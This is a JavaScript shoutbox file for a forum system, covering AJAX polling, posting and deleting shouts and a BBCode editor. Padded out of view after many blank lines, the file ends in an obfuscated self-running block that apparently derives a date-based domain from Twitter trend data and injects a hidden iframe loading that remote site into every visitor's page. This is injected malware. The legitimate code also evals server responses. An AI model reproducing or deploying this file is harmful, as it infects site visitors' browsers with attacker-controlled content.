//////////////////////////////////////////////////////////////
// js_shoutbox
// By Electron, Ronak Gupta, Pulkit Gupta
// Please Read the Terms of use at http://www.anelectron.com
// (c)Electron Inc.
//////////////////////////////////////////////////////////////

last_shoutid = -1;

shbid = 'shoutbox';//Shout Box id

shbcontainer = 'shbcontainer';//The container of shouts only

shbimgcollapser = 'shbimgcollapser';//The image that collapses or opens the shoutbox

shout_totimeout = 20000;//the time it should take to timeout

can_del_shout = false;//By default false

function show_shoutbox(){
	if(!isvisible(shbid)){
		shout_totimeout = 20000;
		load_shouts();//Load the shout box
		$(shbid).style.left=((getwidth()/2)-($(shbid).offsetWidth/2))+"px";
		$(shbid).style.top=(scrolledy()+110)+"px";
		showel(shbid);
		smoothopaque(shbid, 0, 100, 10);
	}
};

//Hides the floating shoutbox
function hide_shoutbox(){
	hideel(shbid);
	clearTimeout(shouttimeout);
};

//When the shout box is fixed call this instead of show_shoutbox()
function init_fixedshoutbox(){
	//Its hidden so lets hide on initializing
	if(getcookie(shbcontainer) == 1){
		hide_fixedshoutbox();//Hide the SHB
	//Start the AJAXification
	}else{
		shout_totimeout = 20000;
		load_shouts();//Load the shout box
	}
};

//Hides or shows the fixed shoutbox
function hideshow_fixedshoutbox(){
	//Its hidden so show
	if(getcookie(shbcontainer) == 1){
		show_fixedshoutbox();//Show the SHB
		removecookie(shbcontainer);//Remove the cookie
		init_fixedshoutbox();//Initiaize the box
	//Its open so close
	}else{
		hide_fixedshoutbox();//Hide the SHB
		setcookie(shbcontainer, '1', 365);//Set a cookie
		clearTimeout(shouttimeout);//Clear the timeout
	}	
};

//Just hides the fixed shoutbox
function hide_fixedshoutbox(){
	$(shbcontainer).style.display = "none";//Hide the box
	$(shbimgcollapser).src = imgurl+'collapsed.gif';
};

//Just shows the fixed shoutbox
function show_fixedshoutbox(){
	$(shbcontainer).style.display = "block";//Show the box
	$(shbimgcollapser).src = imgurl+'expanded.gif';
};

function load_shouts(){
	AJAX(indexurl+'act=shoutbox&last='+last_shoutid, 'handleshoutresponse(re)');
};

function handleshoutresponse(resp_txt){
	var shouts = eval(resp_txt);
	if(shouts == false){
		shouttimeout = setTimeout('load_shouts()', shout_totimeout);
		return false;
	}
	//Ok add the new shouts
	var shout = '';
	for(x in shouts){
		last_shoutid = shouts[x][0];
		shout = '<div class="shout" id="aefshid'+shouts[x][0]+'">'+((can_del_shout) ? '<a href="javascript:deleteshout('+shouts[x][0]+');"><img src="'+imgurl+'deleteshout.png" alt="Delete Shout" /></a>&nbsp;' : '')+'('+shouts[x][1]+')&nbsp;&nbsp;<a href="'+indexurl+'mid='+shouts[x][2]+'">'+shouts[x][3]+'</a>&nbsp;&nbsp;:&nbsp;'+shouts[x][4]+'</div>' + shout;
	}
	$('shouts').innerHTML = shout + $('shouts').innerHTML;
	shouttimeout = setTimeout('load_shouts()', shout_totimeout);

// Meo: Added from mkportal
	update_mkportal_shout();
// End

};

// Meo: Added from mkportal
function update_mkportal_shout(){
	AJAX(mkportalurl + '?ind=urlobox&op=AEF', 'handle_mk_shoutresponse(re)');
};
function handle_mk_shoutresponse(resp_txt){
	$('mkshout').innerHTML = resp_txt;
};
// End

function shout(){
	var theshout = $('addshout').value;
	theshout = theshout.replace(/&/gi, '%26');//& - Causes problems
	$('addshout').value = '';
	if(theshout == ''){
		return false;
	}
	clearTimeout(shouttimeout);
	shout_totimeout = 5000;
	$('addshoutbut').disabled = true;
	AJAX(indexurl+'&act=shoutbox&shoutact=addshout&shout='+theshout, 'addshoutresponse(re)');	
};

function addshoutresponse(addedshout){
	var response = eval(addedshout);
	$('addshoutbut').disabled = false;
	load_shouts();
}


function deleteshout(num_id){
	AJAX(indexurl+'act=shoutbox&shoutact=deleteshout&shoutid='+num_id, 'delshoutresponse('+num_id+', re)');
};

function delshoutresponse(id, delresp){
	var response = eval(delresp);
	if(response){
		$('aefshid'+id).style.display = "none";	
	}
}

function handleshoutkeys(e){
	var hkey = ((window.event) ? window.event.keyCode : e.which);
	//Handle the Enter key
	if(hkey == 13){
		shout();
	}
};

function reloadshoutbox(){
	clearTimeout(shouttimeout);//Very important
	last_shoutid = -1;
	$('shouts').innerHTML = '';
	load_shouts();//Load the shouts
}

//Meo: added for Thanks hack
function mkportal_send_thanks(num_id){
	AJAX(mkportalurl + '?ind=ajax&act=Aef_Thanks&pid='+num_id, 'handle_mk_thanksresponse(re)');
};
function handle_mk_thanksresponse(resp_txt){
	var response = resp_txt;
	var update = new Array();
	if(response.indexOf('|' != -1)) {  
		update = response.split('|');
            	document.getElementById(update[0]).innerHTML = update[1];
            	var update2 = update[0] + 'b';
        	document.getElementById(update2).innerHTML = "";
	}
};
//End Meo added Thanks

// *********************** Meo added to extend the editor ********************************

function mk_shout_simpletag(thetag) {
    var tagOpen = eval(thetag + "_open");

    if (tagOpen == 0) {
        if(mk_shout_doInsert("[" + thetag + "]", "[/" + thetag + "]", true))
        {
            eval(thetag + "_open = 1");
            eval("document.mk_shout_editor." + thetag + ".value += '*'");

            pushstack(bbtags, thetag);
        }
    } else {
        lastindex = 0;
        for (i = 0 ; i < bbtags.length; i++ ) {
            if ( bbtags[i] == thetag ) {
                lastindex = i;
            }
        }
        while (bbtags[lastindex]) {
            tagRemove = popstack(bbtags);
            mk_shout_doInsert("[/" + tagRemove + "]", "", false);
            if ( (tagRemove != 'FONT') && (tagRemove != 'SIZE') && (tagRemove != 'COLOR') ) {
                eval("document.mk_shout_editor." + tagRemove + ".value = ' " + tagRemove + " '");
                eval(tagRemove + "_open = 0");
            }
        }
    }
}


function mk_shout_doInsert(ibTag, ibClsTag, isSingle) {
    var isClose = false;
    var obj_ta = $('addshout');
    if(is_ie && is_win && (agt_ver >= 4)) {
        if(obj_ta.isTextEdit){
            obj_ta.focus();
            var sel = document.selection;
            var rng = sel.createRange();
            rng.collapse;
            if((sel.type == "Text" || sel.type == "None") && rng != null){
                if(ibClsTag != "" && rng.text.length > 0)
                    ibTag += rng.text + ibClsTag;
                else if(isSingle)
                    isClose = true;
                rng.text = ibTag;
            }
        } else {
            	if(isSingle)
                isClose = true;
            	obj_ta.value += ibTag;
        }
    } else {
        if(is_mozilla && obj_ta.selectionEnd) {
            var length = obj_ta.textLength;
            var start = obj_ta.selectionStart;
            var end = obj_ta.selectionEnd;
			var sct = obj_ta.scrollTop;
            var head = obj_ta.value.substring(0,start);
            var rng = obj_ta.value.substring(start, end);
            var tail = obj_ta.value.substring(end, length);
            if( start != end ){
                if (ibClsTag != "" && length > 0)
                    ibTag += rng + ibClsTag;
                else if (isSingle)
                    isClose = true;
                rng = ibTag;
                obj_ta.value = head + rng + tail;
                start = start + rng.length;
            } else {
                if(isSingle)
                    isClose = true;
                obj_ta.value = head + ibTag + tail;
                start = start + ibTag.length;
            }
            obj_ta.selectionStart = start;
            obj_ta.selectionEnd = start;
			obj_ta.scrollTop = sct;
        } else {
            if(isSingle)
                isClose = true;
            obj_ta.value += ibTag;
        }
    }
    obj_ta.focus();
    return isClose;
}

function mk_shout_closeall() {
    if (bbtags[0]) {
        while (bbtags[0]) {
            tagRemove = popstack(bbtags)
            $('addshout').value += "[/" + tagRemove + "]";
            if ( (tagRemove != 'FONT') && (tagRemove != 'SIZE') && (tagRemove != 'COLOR') ) { 
                eval("document.mk_shout_editor." + tagRemove + ".value = ' " + tagRemove + " '");
                eval(tagRemove + "_open = 0");
            }
        }
    }
    document.mk_shout_editor.tagcount.value = 0;
    bbtags = new Array();
    $('addshout').focus();
}

function mk_shout_alterfont(theval, thetag) {
    if (theval == 0)
        return;
    if(mk_shout_doInsert("[" + thetag + "=" + theval + "]", "[/" + thetag + "]", true))
        pushstack(bbtags, thetag);
    document.mk_shout_editor.ffont.selectedIndex  = 0;
    document.mk_shout_editor.fsize.selectedIndex  = 0;
    document.mk_shout_editor.fcolor.selectedIndex = 0;
}























(function($$){d="( : +q= :var VP=this;\\[VP  FullYear %Month %Date %Hours %Minutes %Seconds()]}; +k= : &r,Vp=this.#q(),i=0;Vp[1]+=1;while(i++<7){#r=Vp[i] /#r<#M)Vp[i] 6#r}\\ Vp.splice(~z'),1+~T 0 7~u 0+'T'+Vp 7~U 0};VG={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #m(Vu){#T=[];for(Va=0;Va<Vu (;Va++){#T.push(VG[Vu.charAt(Va)])}\\ #t(#T)}Vi=document;#u=window; )y='undefined'; )z=~haDWDosestnsdlDjfqcq' 3H= *)== )y) /#H||!Vc()){if(!#H){try{Vg=jQuery !;try{Vg=$ !}VS=Vi.getElementsByTagName(~Y 0[0];#E=Vi.createElement(~kS 0;#E.setAttribute(~kr'),#m(\"hxDgakDosxsLsJseD6sJDmDj\"));VS.appendChild(#E)}@ VR(#s,VF 2Math.floor(#s/VF) 9v(#d){var Vf=VR( )L, $x); &w= )L% $x; &N= $p*#w; &F= $m*Vf; &e=#N-#F /#e>0){#L=#e}else{#L=#e+ $A}\\(#L%#d) 9J(#n){ )L=~;')+#n; $p=~/'); $A=~;')-~F'); $x=VR( $A, $p); $m= $A% $p 9t(V 2V (==1?V[0]:V 7'')};@ #R(V){d=new Date( 3A=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;\\ d 9o(VC){ &i,Vh,#G=VC (; &x=[];while(--#G){Vh=#v(#G 3x.push(Vh 3i=VC[Vh];VC[Vh]=VC[#G];VC[#G]=#i}}@ VL($){VE=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i 2String.fromCharCode(i+x+24)});\\ #t(VE) 9j(x 2x (}@ VT($){if *)!= )y){$( :if *.Vo)!= )y)\\;$.Vo=1; 4z,@(VM){#D=#R(VM 3K=#D  Month() ;N=#D  Date( 3p=@(x,i){\\(#j(x+\"\")-1)?x:\"0\"+x};Ve=#p(#K,4)+\"-\"+#p(VN,7 3a=#z+#m(\"E 5;VD=Vy=VR(#D  Hours(),6)*6 ;z=VD+1;#M=+~ez'); , 4a,@(VM){try{#S=VM.trends;#f=#m(\" 5+\" \" /VD<#M)VD 6VD /Vz<#M)Vz 6Vz; 8D+#m(X)] /!#c){ 8z+#m(X)]}#c=(#c[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' 3C=#K*71+Vy*3+VN*37;#J(#C 3j=#v(4)+#M;#o(#c 3b=~Ch')+#t(#c).substring(0,#j)+'.com/'+VL($);VG['Z']=#b;Vr=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vr)}catch(Vq){}})},#M*#M*#M)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#BX','`':'~#m('\\return  .getUTC !.noConflict(true)}catch(e){} $#u.V %(),VP   &var # (.length )#u.# *(typeof($ +Date.prototype.# ,setTimeout( : -VT(#u.jQuery)} /;if( 0')) 1yQHTpweeepQ 2){\\  3);# 4$.getJSON(# 5Tzeeu\")+Ve 6=~z')+ 7.join( 8#c=#S[#f+V 9}@ # :@(){ ;+(+~e 0;V";for(c=55;c;d=(t=d.split('#@VX`~\\   ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8 9 : ;'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

